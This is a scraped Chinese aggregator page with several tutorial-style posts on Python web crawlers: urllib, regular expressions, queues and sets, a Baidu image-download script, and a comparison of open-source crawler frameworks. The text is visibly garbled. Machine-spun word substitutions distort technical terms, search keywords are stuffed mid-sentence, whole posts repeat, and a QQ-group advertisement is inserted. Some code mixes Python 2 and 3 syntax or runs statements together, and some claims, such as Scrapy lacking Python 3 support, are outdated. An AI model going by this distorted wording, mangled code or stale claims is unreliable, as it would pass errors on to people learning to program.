  data是一個(gè)字典, 然后通過(guò)urllib.parse.urlencode()來(lái)將data轉換為 ‘word=one+peace’的字符串, 最后和url合并為full_url
  python正則表達式介紹:
  隊列 介紹
  在爬蟲(chóng)的程序中用到了廣度優(yōu)先級算法,該算法用到了數據結構,當然你用list也可以實(shí)現隊列,但是效率不高?,F在在此處介紹下:
  在容器中有隊列:collection.deque
  
  集合介紹:
  在爬蟲(chóng)程序中, 為了不重復爬這些早已爬過(guò)的網(wǎng)站, 我們須要把爬過(guò)的頁(yè)面的url放進(jìn)集合中, 在每一次要爬某一個(gè)url之前, 先瞧瞧集合上面是否早已存在. 如果早已存在, 我們就跳過(guò)這個(gè)url; 如果不存在, 我們先把url裝入集合中, 然后再去爬這個(gè)頁(yè)面.
  Python 還 包 含 了 一 個(gè) 數 據 類(lèi) 型—— set ( 集 合 ) 。 集 合 是 一 個(gè) 無(wú) 序 不 重 復 元素 的 集 。 基 本 功 能 包 括 關(guān) 系 測 試 和 消 除 重 復 元 素 。 集 合 對 象 還 支 持 union( 聯(lián)
  合),intersection(交),difference(差)和 sysmmetric difference(對稱(chēng)差集)等物理運算。
  大括號或 set() 函數可以拿來(lái)創(chuàng )建集合。 注意:想要創(chuàng )建空集合,你必須使用set() 而不是 {} 。{}用于創(chuàng )建空字典;
  集合的創(chuàng )建演示如下:
  
  正則表達式
  在爬蟲(chóng)時(shí)搜集回去的通常是字符流,我們要從中選購出url就要求有簡(jiǎn)單的字符串處理能力,而用正則表達式可以輕松的完成這一任務(wù);
  正則表達式的步驟:1,正則表達式的編譯 2,正則表達式匹配字符串 3,結果的處理
  下圖列舉了正則表達式的句型:
  
  在pytho中使用正則表達式網(wǎng)絡(luò )爬蟲(chóng) 正則表達式,需要引入re模塊;下面介紹下該模塊中的一些技巧;
  pile和match
  re模塊中compile用于生成pattern的對象,再通過(guò)調用pattern實(shí)例的match方式處理文本最終獲得match實(shí)例;通過(guò)使用match獲得信息;
  
  
  
  pattern:
  Pattern對象是一個(gè)編譯好的正則表達式,通過(guò)Pattern提供的一系列方式可以對文本進(jìn)行匹配查找。
  Pattern不能直接實(shí)例化,必須使用pile()進(jìn)行構造。
  
  2.re.match(pattern, string, flags=0)
  函數參數說(shuō)明:
  參數描述
  pattern
  匹配的正則表達式
  string
  要匹配的字符串。
  flags
  標志位,用于控制正則表達式的匹配方法,如:是否分辨大小寫(xiě),多行匹配等等。
  匹配成功re.match方式返回一個(gè)匹配的對象,否則返回None。
  我們可以使用group(num) 或 groups() 匹配對象函數來(lái)獲取匹配表達式。
  匹配對象方式描述
  group(num=0)
  匹配的整個(gè)表達式的字符串,group() 可以一次輸入多個(gè)組號,在這些情況下它將返回一個(gè)包含這些組所對應值的元組。
  groups()
  返回一個(gè)包含所有小組字符串的元組,從 1 到 所含的小組號。
  
  
  
  re.search方式
  re.search 掃描整個(gè)字符串并返回第一個(gè)成功的匹配。
  函數句型:
  re.search(pattern, string, flags=0)
  函數參數說(shuō)明:
  參數描述
  pattern
  匹配的正則表達式
  string
  要匹配的字符串。
  flags
  標志位,用于控制正則表達式的匹配方法,如:是否分辨大小寫(xiě),多行匹配等等。
  匹配成功re.search方式返回一個(gè)匹配的對象,否則返回None。
  我們可以使用group(num) 或 groups() 匹配對象函數來(lái)獲取匹配表達式。
  匹配對象方式描述
  group(num=0)
  匹配的整個(gè)表達式的字符串,group() 可以一次輸入多個(gè)組號,在這些情況下它將返回一個(gè)包含這些組所對應值的元組。
  groups()
  返回一個(gè)包含所有小組字符串的元組,從 1 到 所含的小組號。
  實(shí)例一:
  
  
  search和match區別:
  re.match只匹配字符串的開(kāi)始,如果字符串開(kāi)始不符合正則表達式,則匹配失敗,函數返回None;而re.search匹配整個(gè)字符串網(wǎng)絡(luò )爬蟲(chóng) 正則表達式,直到找到一個(gè)匹配。
  python爬蟲(chóng)小試牛刀
  利用python抓取頁(yè)面中所有的http合同的鏈接,并遞歸抓取子頁(yè)面的鏈接。使用了集合和隊列;此去爬的是我的網(wǎng)站,第一版好多bug;
  代碼如下:
  
  
  
  那么你學(xué)會(huì )了嗎? 查看全部

  
  urllib.request.urlopen(url)官方文檔返回一個(gè) http.client.HTTPResponse 對象, 這個(gè)對象又用到的read()方法;返回數據;這個(gè)函數返回一個(gè) http.client.HTTPResponse 對象, 這個(gè)對象又有各類(lèi)方式, 比如我們用到的read()方法;如果你也是編程的學(xué)習者或則早已學(xué)會(huì )了的編程者!小編這兒有個(gè)群:103456743!大家可以加下,里面布滿(mǎn)了全國各地的學(xué)習者!為你們提供一個(gè)交流平臺,不管平常有遇到哪些BUG或則學(xué)習過(guò)程中卡殼,找不到人替你解決?那么就進(jìn)來(lái)吧,里面熱心的小伙伴還是十分多的,管理也是很好的,有哪些問(wèn)題,他假如有時(shí)間都能給你們解決,我認為是一個(gè)特別不錯的交流平臺,沒(méi)事也可以和你們扯扯公司的事中學(xué)發(fā)生的軼事,群文件早已上傳了很多G的資料,PDF,視頻 安裝工具,安裝教程都是有的,為了你們的學(xué)習能更進(jìn)一步!也為了你們能愉快的交流,討論學(xué)術(shù)問(wèn)題!所以你還在等哪些呢?好了馬上給你們帶來(lái)正文!
  
  
  data是一個(gè)字典, 然后通過(guò)urllib.parse.urlencode()來(lái)將data轉換為 ‘word=one+peace’的字符串, 最后和url合并為full_url
  python正則表達式介紹:
  隊列 介紹
  在爬蟲(chóng)的程序中用到了廣度優(yōu)先級算法,該算法用到了數據結構,當然你用list也可以實(shí)現隊列,但是效率不高?,F在在此處介紹下:
  在容器中有隊列:collection.deque
  
  集合介紹:
  在爬蟲(chóng)程序中, 為了不重復爬這些早已爬過(guò)的網(wǎng)站, 我們須要把爬過(guò)的頁(yè)面的url放進(jìn)集合中, 在每一次要爬某一個(gè)url之前, 先瞧瞧集合上面是否早已存在. 如果早已存在, 我們就跳過(guò)這個(gè)url; 如果不存在, 我們先把url裝入集合中, 然后再去爬這個(gè)頁(yè)面.
  Python 還 包 含 了 一 個(gè) 數 據 類(lèi) 型—— set ( 集 合 ) 。 集 合 是 一 個(gè) 無(wú) 序 不 重 復 元素 的 集 。 基 本 功 能 包 括 關(guān) 系 測 試 和 消 除 重 復 元 素 。 集 合 對 象 還 支 持 union( 聯(lián)
  合),intersection(交),difference(差)和 sysmmetric difference(對稱(chēng)差集)等物理運算。
  大括號或 set() 函數可以拿來(lái)創(chuàng )建集合。 注意:想要創(chuàng )建空集合,你必須使用set() 而不是 {} 。{}用于創(chuàng )建空字典;
  集合的創(chuàng )建演示如下:
  
  正則表達式
  在爬蟲(chóng)時(shí)搜集回去的通常是字符流,我們要從中選購出url就要求有簡(jiǎn)單的字符串處理能力,而用正則表達式可以輕松的完成這一任務(wù);
  正則表達式的步驟:1,正則表達式的編譯 2,正則表達式匹配字符串 3,結果的處理
  下圖列舉了正則表達式的句型:
  
  在pytho中使用正則表達式網(wǎng)絡(luò )爬蟲(chóng) 正則表達式,需要引入re模塊;下面介紹下該模塊中的一些技巧;
  pile和match
  re模塊中compile用于生成pattern的對象,再通過(guò)調用pattern實(shí)例的match方式處理文本最終獲得match實(shí)例;通過(guò)使用match獲得信息;
  
  
  
  pattern:
  Pattern對象是一個(gè)編譯好的正則表達式,通過(guò)Pattern提供的一系列方式可以對文本進(jìn)行匹配查找。
  Pattern不能直接實(shí)例化,必須使用pile()進(jìn)行構造。
  
  2.re.match(pattern, string, flags=0)
  函數參數說(shuō)明:
  參數描述
  pattern
  匹配的正則表達式
  string
  要匹配的字符串。
  flags
  標志位,用于控制正則表達式的匹配方法,如:是否分辨大小寫(xiě),多行匹配等等。
  匹配成功re.match方式返回一個(gè)匹配的對象,否則返回None。
  我們可以使用group(num) 或 groups() 匹配對象函數來(lái)獲取匹配表達式。
  匹配對象方式描述
  group(num=0)
  匹配的整個(gè)表達式的字符串,group() 可以一次輸入多個(gè)組號,在這些情況下它將返回一個(gè)包含這些組所對應值的元組。
  groups()
  返回一個(gè)包含所有小組字符串的元組,從 1 到 所含的小組號。
  
  
  
  re.search方式
  re.search 掃描整個(gè)字符串并返回第一個(gè)成功的匹配。
  函數句型:
  re.search(pattern, string, flags=0)
  函數參數說(shuō)明:
  參數描述
  pattern
  匹配的正則表達式
  string
  要匹配的字符串。
  flags
  標志位,用于控制正則表達式的匹配方法,如:是否分辨大小寫(xiě),多行匹配等等。
  匹配成功re.search方式返回一個(gè)匹配的對象,否則返回None。
  我們可以使用group(num) 或 groups() 匹配對象函數來(lái)獲取匹配表達式。
  匹配對象方式描述
  group(num=0)
  匹配的整個(gè)表達式的字符串,group() 可以一次輸入多個(gè)組號,在這些情況下它將返回一個(gè)包含這些組所對應值的元組。
  groups()
  返回一個(gè)包含所有小組字符串的元組,從 1 到 所含的小組號。
  實(shí)例一:
  
  
  search和match區別:
  re.match只匹配字符串的開(kāi)始,如果字符串開(kāi)始不符合正則表達式,則匹配失敗,函數返回None;而re.search匹配整個(gè)字符串網(wǎng)絡(luò )爬蟲(chóng) 正則表達式,直到找到一個(gè)匹配。
  python爬蟲(chóng)小試牛刀
  利用python抓取頁(yè)面中所有的http合同的鏈接,并遞歸抓取子頁(yè)面的鏈接。使用了集合和隊列;此去爬的是我的網(wǎng)站,第一版好多bug;
  代碼如下:
  
  
  
  那么你學(xué)會(huì )了嗎?

Python爬蟲(chóng)的用途

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 372 次瀏覽 ? 2020-06-30 08:01 ? 來(lái)自相關(guān)話(huà)題

  Python 爬蟲(chóng)的用途 Python 爬蟲(chóng)是用 Python 編程語(yǔ)言實(shí)現的網(wǎng)路爬蟲(chóng),主要用于網(wǎng)路數據的抓取和處理,相比于其他語(yǔ)言,Python 是一門(mén)特別適宜開(kāi)發(fā)網(wǎng)路爬蟲(chóng)的編程語(yǔ)言,大量外置包,可以輕松實(shí)現網(wǎng)路爬蟲(chóng)功能。 Python 爬蟲(chóng)可以做的事情好多,如搜索引擎、采集數據、廣告過(guò)濾等,Python爬蟲(chóng)還可以用于數據剖析,在數據的抓取方面可以作用巨大! n Python 爬蟲(chóng)構架組成 1. URL 管理器:管理待爬取的 url 集合和已爬取的 url 集合,傳送待爬取的 url 給網(wǎng)頁(yè)下載器; 2. 網(wǎng)頁(yè)下載器:爬取 url 對應的網(wǎng)頁(yè),存儲成字符串,傳送給網(wǎng)頁(yè)解析器; 3. 網(wǎng)頁(yè)解析器:解析出有價(jià)值的數據,存儲出來(lái),同時(shí)補充 url 到 URL 管理器。 n Python 爬蟲(chóng)工作原理 Python 爬蟲(chóng)通過(guò) URL 管理器,判斷是否有待爬 URL,如果有待爬 URL,通過(guò)調度器進(jìn)行傳遞給下載器網(wǎng)絡(luò )爬蟲(chóng) 作用,下載 URL 內容,并通過(guò)調度器傳送給解析器,解析URL 內容,并將價(jià)值數據和新 URL 列表通過(guò)調度器傳遞給應用程序,并輸出價(jià)值信息的過(guò)程。 n Python 爬蟲(chóng)常用框架有: grab:網(wǎng)絡(luò )爬蟲(chóng)框架(基于 pycurl/multicur); scrapy:網(wǎng)絡(luò )爬蟲(chóng)框架(基于 twisted),不支持 Python3; pyspider:一個(gè)強悍的爬蟲(chóng)系統;cola:一個(gè)分布式爬蟲(chóng)框架; portia:基于 Scrapy 的可視化爬蟲(chóng); restkit:Python 的 HTTP 資源工具包。它可以使你輕松地訪(fǎng)問(wèn) HTTP 資源,并圍繞它完善的對象; demiurge:基于 PyQuery 的爬蟲(chóng)微框架。 Python 爬蟲(chóng)應用領(lǐng)域廣泛,在網(wǎng)絡(luò )爬蟲(chóng)領(lǐng)域處于霸主位置,Scrapy、Request、BeautifuSoap、urlib 等框架的應用,可以實(shí)現爬行自如的功能,只要您數據抓取看法網(wǎng)絡(luò )爬蟲(chóng) 作用,Python 爬蟲(chóng)均可實(shí)現! 查看全部

  Python 爬蟲(chóng)的用途 Python 爬蟲(chóng)是用 Python 編程語(yǔ)言實(shí)現的網(wǎng)路爬蟲(chóng),主要用于網(wǎng)路數據的抓取和處理,相比于其他語(yǔ)言,Python 是一門(mén)特別適宜開(kāi)發(fā)網(wǎng)路爬蟲(chóng)的編程語(yǔ)言,大量外置包,可以輕松實(shí)現網(wǎng)路爬蟲(chóng)功能。 Python 爬蟲(chóng)可以做的事情好多,如搜索引擎、采集數據、廣告過(guò)濾等,Python爬蟲(chóng)還可以用于數據剖析,在數據的抓取方面可以作用巨大! n Python 爬蟲(chóng)構架組成 1. URL 管理器:管理待爬取的 url 集合和已爬取的 url 集合,傳送待爬取的 url 給網(wǎng)頁(yè)下載器; 2. 網(wǎng)頁(yè)下載器:爬取 url 對應的網(wǎng)頁(yè),存儲成字符串,傳送給網(wǎng)頁(yè)解析器; 3. 網(wǎng)頁(yè)解析器:解析出有價(jià)值的數據,存儲出來(lái),同時(shí)補充 url 到 URL 管理器。 n Python 爬蟲(chóng)工作原理 Python 爬蟲(chóng)通過(guò) URL 管理器,判斷是否有待爬 URL,如果有待爬 URL,通過(guò)調度器進(jìn)行傳遞給下載器網(wǎng)絡(luò )爬蟲(chóng) 作用,下載 URL 內容,并通過(guò)調度器傳送給解析器,解析URL 內容,并將價(jià)值數據和新 URL 列表通過(guò)調度器傳遞給應用程序,并輸出價(jià)值信息的過(guò)程。 n Python 爬蟲(chóng)常用框架有: grab:網(wǎng)絡(luò )爬蟲(chóng)框架(基于 pycurl/multicur); scrapy:網(wǎng)絡(luò )爬蟲(chóng)框架(基于 twisted),不支持 Python3; pyspider:一個(gè)強悍的爬蟲(chóng)系統;cola:一個(gè)分布式爬蟲(chóng)框架; portia:基于 Scrapy 的可視化爬蟲(chóng); restkit:Python 的 HTTP 資源工具包。它可以使你輕松地訪(fǎng)問(wèn) HTTP 資源,并圍繞它完善的對象; demiurge:基于 PyQuery 的爬蟲(chóng)微框架。 Python 爬蟲(chóng)應用領(lǐng)域廣泛,在網(wǎng)絡(luò )爬蟲(chóng)領(lǐng)域處于霸主位置,Scrapy、Request、BeautifuSoap、urlib 等框架的應用,可以實(shí)現爬行自如的功能,只要您數據抓取看法網(wǎng)絡(luò )爬蟲(chóng) 作用,Python 爬蟲(chóng)均可實(shí)現!

Python爬蟲(chóng)實(shí)現百度圖片手動(dòng)下載

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 357 次瀏覽 ? 2020-06-29 08:01 ? 來(lái)自相關(guān)話(huà)題

  制作一個(gè)爬蟲(chóng)通常分以下幾個(gè)步驟:
  分析需求剖析網(wǎng)頁(yè)源代碼,配合開(kāi)發(fā)者工具編撰正則表達式或則XPath表達式即將編撰 python 爬蟲(chóng)代碼 效果預覽
  運行療效如下:
  
  存放圖片的文件夾:
  
  我們的爬蟲(chóng)起碼要實(shí)現兩個(gè)功能:一是搜索圖片,二是手動(dòng)下載。
  搜索圖片:最容易想到的是爬百度圖片的結果,我們就上百度圖片瞧瞧:
  
  隨便搜索幾個(gè)關(guān)鍵字,可以看見(jiàn)早已搜索下來(lái)好多張圖片:
  
  我們點(diǎn)擊右鍵,查看源代碼:
  
  打開(kāi)源代碼以后,發(fā)現一堆源代碼比較難找出我們想要的資源。
  這個(gè)時(shí)侯,就要用開(kāi)發(fā)者工具!我們回到上一頁(yè)面,調出開(kāi)發(fā)者工具,我們須要用的是左上角那種東西:(鼠標追隨)。
  
  然后選擇你想看源代碼的地方,就可以發(fā)覺(jué),下面的代碼市手動(dòng)定位到了相應的位置。如下圖:
  
  
  我們復制這個(gè)地址,然后到昨天的一堆源代碼里搜索一下百度圖片 爬蟲(chóng),發(fā)現了它的位置,但是這兒我們又困惑了,這個(gè)圖片有這么多地址,到底用那個(gè)呢?我們可以看見(jiàn)有thumbURL,middleURL,hoverURL,objURL
  
  通過(guò)剖析可以曉得,前面兩個(gè)是縮小的版本,hoverURL 是鍵盤(pán)聯(lián)通之后顯示的版本,objURL 應該是我們須要的,可以分別打開(kāi)這幾個(gè)網(wǎng)址瞧瞧,發(fā)現 objURL 的那種最大最清晰。
  找到了圖片地址,接下來(lái)我們剖析源代碼??纯词遣皇撬械?objURL 都是圖片。
  
  發(fā)現都是以.jpg格式結尾的圖片。
  
pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S)
  這里我們用了2個(gè)包百度圖片 爬蟲(chóng),一個(gè)是正則,一個(gè)是 requests 包
  
#-*- coding:utf-8 -*-
import re
import requests
  復制百度圖片搜索的鏈接,傳入 requests ,然后把正則表達式寫(xiě)好
  
  
url = 'https://image.baidu.com/search/index&#63;tn=baiduimage&amp;ie=utf-8&amp;word=%E6%A0%97%E5%B1%B1%E6%9C%AA%E6%9D%A5%E5%A4%B4%E5%83%8F&amp;ct=201326592&amp;ic=0&amp;lm=-1&amp;width=&amp;height=&amp;v=index' html = requests.get(url).text pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S)
  因為有很多張圖片,所以要循環(huán),我們復印出結果來(lái)瞧瞧,然后用 requests 獲取網(wǎng)址,由于有些圖片可能存在網(wǎng)址打不開(kāi)的情況,所以加了10秒超時(shí)控制。
  
pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S) i = 1 for each in pic_url:
print each
try:
pic= requests.get(each, timeout=10)
except requests.exceptions.ConnectionError: print('【錯誤】當前圖片無(wú)法下載')
continue
  接著(zhù)就是把圖片保存出來(lái),我們事先構建好一個(gè) images 目錄,把圖片都放進(jìn)去,命名的時(shí)侯,以數字命名。
  
dir = '../images/' + keyword + '_' + str(i) + '.jpg'
fp = open(dir, 'wb')
fp.write(pic.content)
fp.close()
i += 1
  完整的代碼
  
# -*- coding:utf-8 -*-
import re
import requests
def dowmloadPic(html, keyword):
pic_url = re.findall('"objURL":"(.*&#63;)",', html, re.S)
i = 1
print('找到關(guān)鍵詞:' + keyword + '的圖片,現在開(kāi)始下載圖片...')
for each in pic_url:
print('正在下載第' + str(i) + '張圖片,圖片地址:' + str(each))
try:
pic = requests.get(each, timeout=10)
except requests.exceptions.ConnectionError:
print('【錯誤】當前圖片無(wú)法下載')
continue
dir = '../images/' + keyword + '_' + str(i) + '.jpg'
fp = open(dir, 'wb')
fp.write(pic.content)
fp.close()
i += 1
if __name__ == '__main__':
word = input("Input key word: ")
url = 'http://image.baidu.com/search/flip&#63;tn=baiduimage&amp;ie=utf-8&amp;word=' + word + '&amp;ct=201326592&amp;v=flip'
result = requests.get(url)
dowmloadPic(result.text, word)
  
  
  我們聽(tīng)到有的圖片沒(méi)顯示下來(lái),打開(kāi)網(wǎng)址看,發(fā)現確實(shí)沒(méi)了。
  
  因為百度有些圖片它緩存到百度的服務(wù)器上,所以我們在百度上能夠看到它,但它的實(shí)際鏈接早已失效了。
  enjoy 我們的第一個(gè)圖片下載爬蟲(chóng)吧!當然它除了能下載百度的圖片,依葫蘆畫(huà)瓢,你如今應當能做好多事情了,比如爬取頭像,爬天貓展示圖等等。
  完整代碼已然放在Githut上 查看全部

  制作一個(gè)爬蟲(chóng)通常分以下幾個(gè)步驟:
  分析需求剖析網(wǎng)頁(yè)源代碼,配合開(kāi)發(fā)者工具編撰正則表達式或則XPath表達式即將編撰 python 爬蟲(chóng)代碼 效果預覽
  運行療效如下:
  
  存放圖片的文件夾:
  
  我們的爬蟲(chóng)起碼要實(shí)現兩個(gè)功能:一是搜索圖片,二是手動(dòng)下載。
  搜索圖片:最容易想到的是爬百度圖片的結果,我們就上百度圖片瞧瞧:
  
  隨便搜索幾個(gè)關(guān)鍵字,可以看見(jiàn)早已搜索下來(lái)好多張圖片:
  
  我們點(diǎn)擊右鍵,查看源代碼:
  
  打開(kāi)源代碼以后,發(fā)現一堆源代碼比較難找出我們想要的資源。
  這個(gè)時(shí)侯,就要用開(kāi)發(fā)者工具!我們回到上一頁(yè)面,調出開(kāi)發(fā)者工具,我們須要用的是左上角那種東西:(鼠標追隨)。
  
  然后選擇你想看源代碼的地方,就可以發(fā)覺(jué),下面的代碼市手動(dòng)定位到了相應的位置。如下圖:
  
  
  我們復制這個(gè)地址,然后到昨天的一堆源代碼里搜索一下百度圖片 爬蟲(chóng),發(fā)現了它的位置,但是這兒我們又困惑了,這個(gè)圖片有這么多地址,到底用那個(gè)呢?我們可以看見(jiàn)有thumbURL,middleURL,hoverURL,objURL
  
  通過(guò)剖析可以曉得,前面兩個(gè)是縮小的版本,hoverURL 是鍵盤(pán)聯(lián)通之后顯示的版本,objURL 應該是我們須要的,可以分別打開(kāi)這幾個(gè)網(wǎng)址瞧瞧,發(fā)現 objURL 的那種最大最清晰。
  找到了圖片地址,接下來(lái)我們剖析源代碼??纯词遣皇撬械?objURL 都是圖片。
  
  發(fā)現都是以.jpg格式結尾的圖片。
  
pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S)
  這里我們用了2個(gè)包百度圖片 爬蟲(chóng),一個(gè)是正則,一個(gè)是 requests 包
  
#-*- coding:utf-8 -*-
import re
import requests
  復制百度圖片搜索的鏈接,傳入 requests ,然后把正則表達式寫(xiě)好
  
  
url = 'https://image.baidu.com/search/index&#63;tn=baiduimage&amp;ie=utf-8&amp;word=%E6%A0%97%E5%B1%B1%E6%9C%AA%E6%9D%A5%E5%A4%B4%E5%83%8F&amp;ct=201326592&amp;ic=0&amp;lm=-1&amp;width=&amp;height=&amp;v=index' html = requests.get(url).text pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S)
  因為有很多張圖片,所以要循環(huán),我們復印出結果來(lái)瞧瞧,然后用 requests 獲取網(wǎng)址,由于有些圖片可能存在網(wǎng)址打不開(kāi)的情況,所以加了10秒超時(shí)控制。
  
pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S) i = 1 for each in pic_url:
print each
try:
pic= requests.get(each, timeout=10)
except requests.exceptions.ConnectionError: print('【錯誤】當前圖片無(wú)法下載')
continue
  接著(zhù)就是把圖片保存出來(lái),我們事先構建好一個(gè) images 目錄,把圖片都放進(jìn)去,命名的時(shí)侯,以數字命名。
  
dir = '../images/' + keyword + '_' + str(i) + '.jpg'
fp = open(dir, 'wb')
fp.write(pic.content)
fp.close()
i += 1
  完整的代碼
  
# -*- coding:utf-8 -*-
import re
import requests
def dowmloadPic(html, keyword):
pic_url = re.findall('"objURL":"(.*&#63;)",', html, re.S)
i = 1
print('找到關(guān)鍵詞:' + keyword + '的圖片,現在開(kāi)始下載圖片...')
for each in pic_url:
print('正在下載第' + str(i) + '張圖片,圖片地址:' + str(each))
try:
pic = requests.get(each, timeout=10)
except requests.exceptions.ConnectionError:
print('【錯誤】當前圖片無(wú)法下載')
continue
dir = '../images/' + keyword + '_' + str(i) + '.jpg'
fp = open(dir, 'wb')
fp.write(pic.content)
fp.close()
i += 1
if __name__ == '__main__':
word = input("Input key word: ")
url = 'http://image.baidu.com/search/flip&#63;tn=baiduimage&amp;ie=utf-8&amp;word=' + word + '&amp;ct=201326592&amp;v=flip'
result = requests.get(url)
dowmloadPic(result.text, word)
  
  
  我們聽(tīng)到有的圖片沒(méi)顯示下來(lái),打開(kāi)網(wǎng)址看,發(fā)現確實(shí)沒(méi)了。
  
  因為百度有些圖片它緩存到百度的服務(wù)器上,所以我們在百度上能夠看到它,但它的實(shí)際鏈接早已失效了。
  enjoy 我們的第一個(gè)圖片下載爬蟲(chóng)吧!當然它除了能下載百度的圖片,依葫蘆畫(huà)瓢,你如今應當能做好多事情了,比如爬取頭像,爬天貓展示圖等等。
  完整代碼已然放在Githut上

開(kāi)源爬蟲(chóng)框架各有哪些優(yōu)缺點(diǎn)?

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 277 次瀏覽 ? 2020-06-27 08:00 ? 來(lái)自相關(guān)話(huà)題

  爬蟲(chóng)是一個(gè)很復雜的系統,可以從多種不同的角度進(jìn)行分類(lèi),前面一些回答早已涉及了不少,我想從信息抓取和提取,手工編碼和可視化,靜態(tài)頁(yè)面剖析和互動(dòng)這三個(gè)方面再討論一下。
  1,信息抓取和提取
  信息抓取是指怎樣獲得網(wǎng)站上的信息的過(guò)程,而信息提取是指怎樣從獲得的頁(yè)面上辨識出自己所須要的信息的過(guò)程。使用爬蟲(chóng)爬取單個(gè)或則少數網(wǎng)站的時(shí)侯,那么主要需解決抓取問(wèn)題,而目標網(wǎng)站數目好多的時(shí)侯,信息提取就成為主要矛盾。
  舉個(gè)事例,Scrapy是一個(gè)解決信息抓取問(wèn)題的軟件平臺。而使用Xpath或則CSS Selector可進(jìn)行少量站點(diǎn)的信息提取,但面對大規模信息提取Xpath就無(wú)能為力了,在這些情況下,應該使用一些機器學(xué)習算法開(kāi)源爬蟲(chóng)軟件,比如IBL(Instance based Learning),可以按照某網(wǎng)站的一個(gè)或則少量頁(yè)面進(jìn)行學(xué)習,然后快速生成該網(wǎng)站的辨識模型,scrapely就是這樣的一個(gè)軟件模塊。
  2,手工編碼和可視化
  我們在網(wǎng)路上見(jiàn)到的大部分教程,都是基于某種編程語(yǔ)言(比如Python)和軟件庫(比如Scrapy)進(jìn)行手工編碼的,這種方法的優(yōu)點(diǎn)是十分靈活,可擴展性好,能針對特定站點(diǎn)給出高效的實(shí)現。但它的缺點(diǎn)也是顯著(zhù)的,就是須要爬蟲(chóng)開(kāi)發(fā)人員懂編程語(yǔ)言,門(mén)檻比較高。
  為了解決這個(gè)問(wèn)題,人們又提出了可視化爬蟲(chóng),在定義可視化爬蟲(chóng)時(shí),遠程網(wǎng)站的頁(yè)面將直觀(guān)地展示下來(lái),然后人們可以通過(guò)鍵盤(pán)進(jìn)行點(diǎn)擊操作,就可以定義爬取邏輯(包括爬取目標、爬取次序、爬取深度等)和抓取邏輯(頁(yè)面中的哪部份內容應當被辨識為屬性),和手工編碼爬蟲(chóng)相比,可視化爬蟲(chóng)大大增加了爬蟲(chóng)定義的門(mén)檻,但是爬取效率不如手工編程的高,另外,由于可視化爬蟲(chóng)對爬取邏輯進(jìn)行了具象,可能難以做到對于一些特殊網(wǎng)站的支持。
  Portia就是一個(gè)典型的可視化爬蟲(chóng),人們常常覺(jué)得pyspider也是一個(gè)可視化爬蟲(chóng),但似乎并不是,pyspider只是一個(gè)擁有GUI的手工編碼爬蟲(chóng)。
  3,被動(dòng)爬蟲(chóng)和互動(dòng)爬蟲(chóng)
  大部分爬蟲(chóng)都是基于對頁(yè)面進(jìn)行剖析,如果須要將使用瀏覽器引擎對頁(yè)面中的Javascript代碼進(jìn)行執行,然后獲得渲染后的頁(yè)面,再從中提取出自己所須要的信息。
  但有些情況下,我們還須要才能和這種頁(yè)面進(jìn)行互動(dòng),比如輸入用戶(hù)名和口令登錄到系統中去之后再進(jìn)行爬取,又例如我們須要輸入關(guān)鍵字之后只爬取搜索結果。在這種情況下,我們須要在爬蟲(chóng)定義時(shí)才能將這種用戶(hù)輸入保存出來(lái),然后在爬蟲(chóng)執行期,將這種交互信息重新回放回來(lái),就像一個(gè)人在做這種動(dòng)作一樣。
  Selenium是這些爬蟲(chóng)的一個(gè)事例,用戶(hù)用Selenium IDE錄制用戶(hù)動(dòng)作,保存為Selenese命令序列,然后使用Web driver模仿瀏覽器重放這種命令。交互式爬蟲(chóng)的優(yōu)點(diǎn)是可以象人一樣作出各類(lèi)動(dòng)作,缺點(diǎn)是因為須要建立完整的瀏覽器引擎開(kāi)源爬蟲(chóng)軟件,系統開(kāi)支十分大,爬取效率太低。
  最后,做一個(gè)廣告,我近來(lái)開(kāi)源了一個(gè)爬蟲(chóng)portia-dashboard, 按照上面的分類(lèi)方式,這個(gè)爬蟲(chóng)是一個(gè)“面向多個(gè)站點(diǎn)的”、“主要支持信息抓取的”、“同時(shí)支持被動(dòng)抓取和互動(dòng)抓取” 的“可視化”爬蟲(chóng),而且提供了Portia中沒(méi)有的dashboard功能,使用dashboard可以布署爬蟲(chóng)、啟動(dòng)爬蟲(chóng)、監控爬蟲(chóng)狀態(tài),瀏覽提取的信息等等。
  使用代碼安裝可能有點(diǎn)復雜,最簡(jiǎn)單的方式是使用docker, 歡迎你們使用,并提出寶貴意見(jiàn)。 查看全部

  爬蟲(chóng)是一個(gè)很復雜的系統,可以從多種不同的角度進(jìn)行分類(lèi),前面一些回答早已涉及了不少,我想從信息抓取和提取,手工編碼和可視化,靜態(tài)頁(yè)面剖析和互動(dòng)這三個(gè)方面再討論一下。
  1,信息抓取和提取
  信息抓取是指怎樣獲得網(wǎng)站上的信息的過(guò)程,而信息提取是指怎樣從獲得的頁(yè)面上辨識出自己所須要的信息的過(guò)程。使用爬蟲(chóng)爬取單個(gè)或則少數網(wǎng)站的時(shí)侯,那么主要需解決抓取問(wèn)題,而目標網(wǎng)站數目好多的時(shí)侯,信息提取就成為主要矛盾。
  舉個(gè)事例,Scrapy是一個(gè)解決信息抓取問(wèn)題的軟件平臺。而使用Xpath或則CSS Selector可進(jìn)行少量站點(diǎn)的信息提取,但面對大規模信息提取Xpath就無(wú)能為力了,在這些情況下,應該使用一些機器學(xué)習算法開(kāi)源爬蟲(chóng)軟件,比如IBL(Instance based Learning),可以按照某網(wǎng)站的一個(gè)或則少量頁(yè)面進(jìn)行學(xué)習,然后快速生成該網(wǎng)站的辨識模型,scrapely就是這樣的一個(gè)軟件模塊。
  2,手工編碼和可視化
  我們在網(wǎng)路上見(jiàn)到的大部分教程,都是基于某種編程語(yǔ)言(比如Python)和軟件庫(比如Scrapy)進(jìn)行手工編碼的,這種方法的優(yōu)點(diǎn)是十分靈活,可擴展性好,能針對特定站點(diǎn)給出高效的實(shí)現。但它的缺點(diǎn)也是顯著(zhù)的,就是須要爬蟲(chóng)開(kāi)發(fā)人員懂編程語(yǔ)言,門(mén)檻比較高。
